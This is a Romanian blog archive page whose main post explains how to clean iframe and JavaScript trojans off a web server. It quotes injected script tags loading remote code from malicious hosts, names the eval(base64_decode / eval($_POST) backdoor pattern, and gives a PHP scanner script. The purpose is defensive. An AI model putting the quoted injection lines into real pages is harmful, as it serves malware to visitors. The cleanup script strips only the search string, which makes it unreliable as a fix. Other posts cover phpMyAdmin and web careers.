Inchide arhiva

 

» RSS

Comentarii, Articole, Citate

» Un citat, la intamplare

Ombladon: Vad femei urcate in masini tunate... apoi in p**a, asa ca-mi scot masina-n ploaie, sa se tuneze cand tuna. O ard mai beat ca Vacaroiu... Cascati gura ca prostii... Eu beau pe banii mei, ala bea pe banii vostrii
Click aici ca sa le vezi pe toate

» Categorii

Web, Personal, Romania

» Rasfoieste baza de date

home, ultimele articole
sau arhiva lunara

» 5 articole la intamplare

» Ultimele 7 comentarii

» Numeric vorbind...

Am adunat 200 articole,
349 comentarii si 267 citate

» Link-uri si iar link-uri

Toate femeile au ceva special... doar ca nu toate il ofera

Cum scapam de caii Trojan de pe server

Postat la 04 Jul 2010. 6 comentarii. Hai, spune si tu ceva!

Well... trebuie sa incep articolul destul de pesimist: e foarte greu.
Pe un PC e mai usor pentru ca acolo are acces deplin antivirusul, dar pe server e mai greu pentru ca trebuie sa faci tu toata treaba (mai ales daca site-ul e mare).

1. Ce sunt troienii despre care vorbesc si, cum se manifesta?
Numele ar putea fi ceva de genul Trojan-Clicker.HTML.IFrame sau Trojan.Downloader sau altfel [sunt mai multe tipuri din pacate si sunt mai multe denumiri sub care ii vad antivirusii].
Actiunea lor este urmatoarea: se conecteaza la FTP (detecteaza actiunile Filezila si a altor clienti FTP) si scriu in fisierele de tip php, html, htm, js un cod care include un iframe sau un fisier javascript.

Exemplu din index.php
<script type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></script>
Exemplu din fisier javascript
document.write('<s'+'cript type="text/javascript" src="http://stupidserver.com/f.js"></scr'+'ipt>');

2. Cum te infectezi si cum te protejezi?
- Te poti infecta doar daca deschizi o pagina web care este infectata (care contine iframe sau fisier JS de tipul de mai sus) si, partea proasta e ca sunt putini antivirusi care te protejeaza.
- Te poti proteja instaland un antivirus bun. Experienta mea placuta a fost cu Karspersky (nu fac reclama, e pe bune) deci e o metoda buna de protectie si (imi doresc sa-l cumpar - mi-a dezinfectat fisiere si m-a si protejat in timpul accesarii). Am avut si antivirusi care nu au detectat nimic, dar nu vreau sa fac anti-reclama.

3. Cum scapam de ei pe server?
- In primul rand, se schimba parola de FTP (valabil pentru orice developer) si, nu te conectezi la FTP pana ce nu esti sigur ca esti "curat"
- Esti sigur ca esti curat dupa ce ti-ai scanat computerul cu Karspersky (eu am avut Pure si a fost perfect - se poate lua trial-version gratuit, pentru 30 de zile DAR trebuie dezinstalat orice antivirus existent pentru ca nu e indicat sa ai doi antivirusi pe acelasi sistem) sau alt antivirus bun si actualizat (daca doriti, ma puteti contacta, sa va zic antivirusii "prosti" - vectorialpx.net, formularul de jos).
- folosesti un instrument care gaseste codul cu probleme si stergi toate problemele modificand fisierele (exista TEXTCRAWLER - care este FREE).

Acum, acest ultim pas este ceva mai complex. Eu am facut un fisier PHP (cach.php) care trebuie pus pe server, pentru ca mi-a fost mai usor. El cauta prin fisierele si dosarele site-ului (de la nivelul la care este pus in sus) in fisierele PHP, HTML si JS si, poate face inlocuirea codului cu probleme. Il puteti vedea mai jos cum arata (sunt doua functii, dintre care una e recursiva, nu mare lucru).

4. Ce cautam si cum?
- Primul lucru cautat este eval(base64_decode . Este ceea ce ofera poarta de acces remote. Daca nu stergeti codurile de acest gen, nu ati facut nimic. Sub acel base64_decode se afla de obicei ceva de genul eval($_POST['ceva']) ceea ce ofera puterea suprema pentru PHP - de unde concluzia stupida: hacker-ii nu-s prosti! :)
Atentie! unele teme de Wordpress au in footer un cod care contine eval(base64_decode dar este pentru copyright (nu trebuie sters). Trebuie sters orice cod suspect, nu chiar orice cod (e indicat sa fiti programatori cu ceva experienta, pentru a nu sterge aiurea). Daca aveti dubii si aveti soft-uri web (cum ar fi phpBB, drupal etc etc) mai bine cautati pe Google sau in documentatie. Oricum, scriptul face si un backup al fisierului infectat, deci nu pierdeti informatia respectiva dar va fi greu sa redenumiti fiecare fisier si s-o luati de la capat.

5. Ce fisiere sunt infectate?
de obicei index.php si cam tot ce are 'index', 'main', 'config' apoi, cam toate fisierele javascript care sunt incluse in prima pagina - dar nu numai.

6. Cum facem inlocuirea?
- avem nevoie de un alt fiser PHP (get23123.php - un nume care nu poate fi intuit usor) care ne afiseaza contentul unui anumit fisier (plain text) de pe server. De ce? Pentru ca nu vom putea lua fisierele de pe server ca sa le vedem local, fiind blocat de antivirus. Atentie, dupa ce ati terminat toata treaba stergeti fisierul get23123.php pentru ca este o mare bresa de securitate.

<?php // get23123.php e simplu si arata cam asa
$c = file_get_contents('index.php');
echo htmlspecialchars($c, ENT_QUOTES);
// afiseaza contentul lui index.php (cu tot cu cod PHP)

Deci va trebui sa urcati pe server un astfel de fisier, pentru a vedea care este codul clar din anumite fisiere.

De exemplu, accesam get23123.php si vedem ca in fisierul file.js este codul
document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Hardware.js"></scr'+'ipt>');
incepem sa cautam dupa el (codul) si sa facem replace, accesand cach.php in care stabilim inlocuirea codului de mai sus.

Fisierul cach.php este asa:

<?php
set_time_limit(0);
error_reporting(E_ALL);

define('MAKETHEREPLACE', 0); // se face replace sau nu
define('STRING2REPLACE', 'eval(base64_decode'); // ce cauta
// aceasta constanta se defineste de fiecare data
// se poate face si un array si apoi un foreach in functie
// cu mai multe string-uri, dar e nevoie de mai multa atentie

define('DS', DIRECTORY_SEPARATOR);
$f = dirname(__FILE__).DS;

function h($w) { $w = stripslashes($w); // htmlspecialchars
return trim(htmlspecialchars($w, ENT_QUOTES)); }

function getDir($folder) {
    if ($handle = opendir($folder)) {
        while (false !== ($file = readdir($handle))) {
            if(is_dir($folder.$file) && $file != '..' && $file != '.' ) {
                getDir($folder.$file.DS);
            } else {
                $ext = end(explode('.', $file));
                if($file != 'cach.php')
                    if($ext == 'js' || $ext == 'php' )
                        writeFile($folder, $file);
            }
        }
        closedir($handle);
    }
}

getDir($f); // aici se face apelarea

function writeFile($dir, $f) {
    if(filesize($dir.$f) < 1024*500) { // nu cautam in fisiere mai mari de 500K
        // $handle = fopen($dir.$f, 'r');
        // $c = fread($handle, filesize($dir.$f)+1);
        // fclose($handle);
        // este recomandat file_get_contents
        // pentru ca este mai rapid
        $c = file_get_contents($dir.$f);
        // extensie
        $ext = end(explode('.', $f));
        $este = strpos($c, STRING2REPLACE);
        // daca exista codul in fisier
        if($este !== false) {
            if(MAKETHEREPLACE) {
                copy($dir.$f, $dir.'infect_'.$f.'.unkn');
                $fp = fopen($dir.$f, 'w');
                if(fwrite($fp, trim(str_replace(STRING2REPLACE, '', $c))))
                    echo 'am scris <b style="color:#c00">'.$dir.$f.'</b><br /><br />';
                fclose($fp);
            } else {
                echo 'trebuie scris - <b style="color:#c00">'.$dir.$f.'</b><br />
                Contine: <br /><textarea name="some" cols="200" rows="9"
                style="font:12px Verdana,Arial">'.h($c).'</textarea><br /> <br />';
            }
        }
    } else {
        echo '<strong style="color:#c00">prea mare</strong> '.$dir.$f.'<br /><br />';
    }
}
// end of file

Am mai citit un articol despre asta - how to remove iframe trojan - dar pare un pic incomplet. Probabil ca si troienii au mai evoluat intre timp.

Sunt dispus sa raspund comentariilor si, daca aveti idei, ar fi bine sa fie publice. Spor la programat!

Edit: Am gasit o descriere la Karspersky pentru Trojan-Clicker
Deci nu, nu e chiar harmless.

Programs classified as Trojan-Clicker are designed to access Internet resources (usually web pages). This is done either by sending appropriate commands to the browser or by replacing system files that provide “standard” addresses for Internet resources (such as the Windows hosts file).
A malicious user may use Trojan-Clicker programs to:
- increase the number of visits to certain sites in order to boost the number of hits for online ads
- conduct a DoS (Denial of Service) attack on a particular server
- lead potential victims to viruses or Trojans.

Tags: trojan, iframe, web

Scuze pentru phpMyAdmin

Postat la 25 Jan 2010. Nu sunt comentarii. Hai, spune si tu ceva!

Am postat acum o vreme un articol cum ca phpMyAdmin ar avea un bug. De fapt, eu sunt cel defect... m-am lovit acum de aceeasi problema, si m-am prins care e faza.

Si... care a fost faza: aveam de introdus in baza de date inregistrari dintr-un while. Am executat while-ul si apoi am inchis browser-ul. OK, m-am uitat in phpMyAdmin sa vad cum sunt inregistrarile din baza de date... am ramas uimit. Nu aveam idee de ce cand dau "Empty table" nu se intampla nimic, ba chiar se adauga inregistrari.

Raspuns: request-urile din while au fost trimise catre MySql si chiar daca browser-ul a fost inchis, se executau in continuare. Solutia: Trebuie oprit server-ul de MySql, cam atat.

Scuze inca o data!...

Tags: phpmyadmin, web, php, mysql

Care sunt inceputurile in cariera web

Postat la 05 Dec 2009. 6 comentarii. Hai, spune si tu ceva!

Mie imi place sa zic lucrurilor pe nume: orice firma cauta un om care sa le faca pe toate, pe care sa-l plateasca cat mai putin. Orice manager isi doreste un web-developer in loc de un web-designer + un programator... pentru ca un developer nu va lua banii pe care-i iau cei doi la un loc si, prefera sa faca un mic compromis referitor la calitate. Asta se intampla de obicei... depinde de multe aspecte.

Acum, ca web-developer, ar trebui sa te apuci, in ordine de:

1. xHTML [iti recomand xHTML in loc de HTML]
Trebuie sa ai (x)HTML in orice pagina. Fara el, nu se poate face web. Diferenta dintre cele doua este ca xHTML ofera un plus de calitate (parerea mea!) si este bazat pe principiile XML si, este mult mai compatibil. Sunt multe avantaje, poti sa cauti pe google "xHTML vs HTML". E indicat ca inca de la inceput sa stii care sunt principiile de validare ale unui site si sa incerci o validare stricta.

2. CSS + Design
E foarte important ca un proiect sa fie si frumos, nu doar destept, util si functional. CSS este placut daca ajungi sa-i prinzi calitatile, mai ales daca te axezi pe (x)HTML tableless; toate elementele din pagina au multe surprize (si unele neplacute, ce-i drept, daca ne gandim la incompatiilitatea browserelor).

3. Programare + Baze de date
Abia dupa ce ai invatat (x)HTML poti sa te gandesti la chestii avansate. E indicat sa ai o baza de programare, facuta in liceu, invatata din carti, la facultate etc. pentru ca e foarte important modul de gandire. Cand faci un site nu folosesti divide-et-impera in mod direct dar ai in cap o anumita idee referitoare la "cum rezolv problema asta". Acum, sunt mai multe optiuni referitoare la limbaje... fie PHP cu Apache, fie FrontPage [nu recomand] fie .NET si prietenii de la Microsoft fie JSP si, mai sunt cateva optiuni. Eu am ales PHP pentru ca e frumos, usor si puternic, deci are destule calitati. Bazele de date vin odata cu programarea, din nevoie. E ceva care vine de la sine...

4. SEO
Cand realizezi un site iti dai seama ca el trebuie sa fie si cunoscut. De fapt, asta depinde de cum ai scris codul (x)HTML, de target-ul pe care-l are, de cuvintele cheie pe care le-ai folosit, de banii pe care esti dispus sa-i investesti in promovare si alte cateva. Search Engine Optimization este un mic sub-domeniu al web-ului dar pe care orice web-developer trebuie sa-l cunoasca cel putin la nivel basic.

5. Trucuri + Experienta
Parerea mea este ca acesta este cel mai mare pas pe care-l face oricine, in orice domeniu... momentul in care prinzi experienta si descoperi anumite trucuri. Sunt multe chestii care nu-s scrise in manual dar de care ai mare nevoie si, aici isi spune cuvantul experienta. Cu cat lucrezi mai mult cu atat ajungi sa descoperi mai multe lucruri, cu atat te perfectionezi mai mult. Nu se poate compara un programator care practica asta de 20 de ani cu unul care a iesit de pe bancile facultatii... desi poate cel cu experienta nu are atatea cunostinte teoretice.

Cel mai important pentru ceea ce am scris mai sus este sa-ti placa si, nu numai... sa ai o pasiune pentru asta. Sa simti ca esti dispus sa pierzi 2 nopti pentru a aranja un nenorocit de meniu care se vede stramb pe un alt browser si, sa ai puterea sa muncesti 2 zile sa-ti creezi propria clasa de baze de date pentru ca nu te multumeste nimic de pe web si, cand totul se termina sa te consideri mult mai puternic decat acum 2 zile... pentru ca ai realizat ceva. Cand simti ca ai o multumire si simti ca astea 2 zile nu au fost pierdute, inseamna ca esti pasionat.

Multa bafta!

Tags: web, developer, pasiune, experienta

New blog stuff

Postat la 19 May 2009. 6 comentarii. Hai, spune si tu ceva!

Mda, mi-am refacut blog-ul ca ma plictisisem de el, asa negru si serios, acum am facut unul alb si urat. Si daca tot am picat la restanta mi-am zis ca ar fi bine sa fac si eu ceva util: sa urc noul blog pe server. Ce-i nou? Nu mare lucru...

  • comentariile se adauga mai usor si mai frumos
  • RSS pentru articole, comentarii si [nou] citate
  • articole random [ca sa viziteze lumea si alte articole, nu doar prima pagina]
  • maimuțoaie de la Yahoo! Messenger
  • curatenie printre articole [am sters vro doua, ca erau stupide] desi mai am niste poze lipsa
  • am adaugat tag-uri, dar inca nu am completat in baza de date... urmeaza!
  • si cam atat...

De acum inainte

  • o sa incerc sa scriu articole mai scurte, ca am inceput sa aberez in anumite momente
  • o sa incerc sa nu-mi mai jignesc prietenii. Desi am facut-o involuntar, am facuto [dracu' stie cum se mai scrie corect!]
  • o sa va trimit mail-uri, celor care doriti, cu noi articole si comentarii.

Cheers!

Tags: web, new, blog, articole, friends

phpMyAdmin bug :)

Postat la 02 May 2009. Nu sunt comentarii. Hai, spune si tu ceva!

Eram la inceput cand am facut cunostinta cu celebra aplicatie si ma minunam cat de complexa poate sa fie. Din pacate inca ma mai minunez pentru ca lucrurile s-au complicat si mai mult iar versiunile au evoluat. E chiar impresionant cum o astfel de 'chestie' poate fi open-source pentru ca ma gandesc la mine, cat timp as pierde sa fac asa ceva si... sa o dau apoi moca tuturor idiotilor ca mine.

Din pacate nimic nu-i perfect si am descoperit un bug... sau, nu stiu, o problema care m-a facut sa zambesc. Nu am ras de cei ce au facut aplicatia la propriu, cu am zambit pentru ca m-am gandit ca "uite, vezi, si cei mari pot face greseli".

Despre ce e vorba? Nu m-am putut abtine sa nu fac printScreen-uri. Ce am facut eu de fapt?

Pasul 1: Vreau sa vad inregistrarile dintr-un tabel. In jur de 39 de pagini...
phpMyAdmin bug

Pasul 2: Selectez comanda EMPTY din meniu: TRUNCATE TABLE? YES!
phpMyAdmin bug

Pasul 3: "Table has been emptied"... OK!
phpMyAdmin bug

Pasul 4: Click pe browse. Surpriza!! Am 225 de pagini in loc de 39
phpMyAdmin bug

Pasul 5: Dau comanda de SQL:"DELETE FROM TABLE"... Adica, sterg tot!
phpMyAdmin bug

Pasul 6: "Do you realy want to....?"... Yeah, OK!
phpMyAdmin bug

Pasul 7: Browse din nou... acum sunt 98 de pagini :D
phpMyAdmin bug

Am si inchis browser-ul si problema a ramas si am inceput sa ma enervez [nu stiu de unde e problema. Initial m-am gandit ca ar fi ceva de sesiune]... asa ca am sters din consola :) ceea ce nu-i chiar asa de rau.

Morala: Nimeni nu-i perfect! Sa aveti spor la programat!

Tags: web, phpmyadmin, php, bug, greseala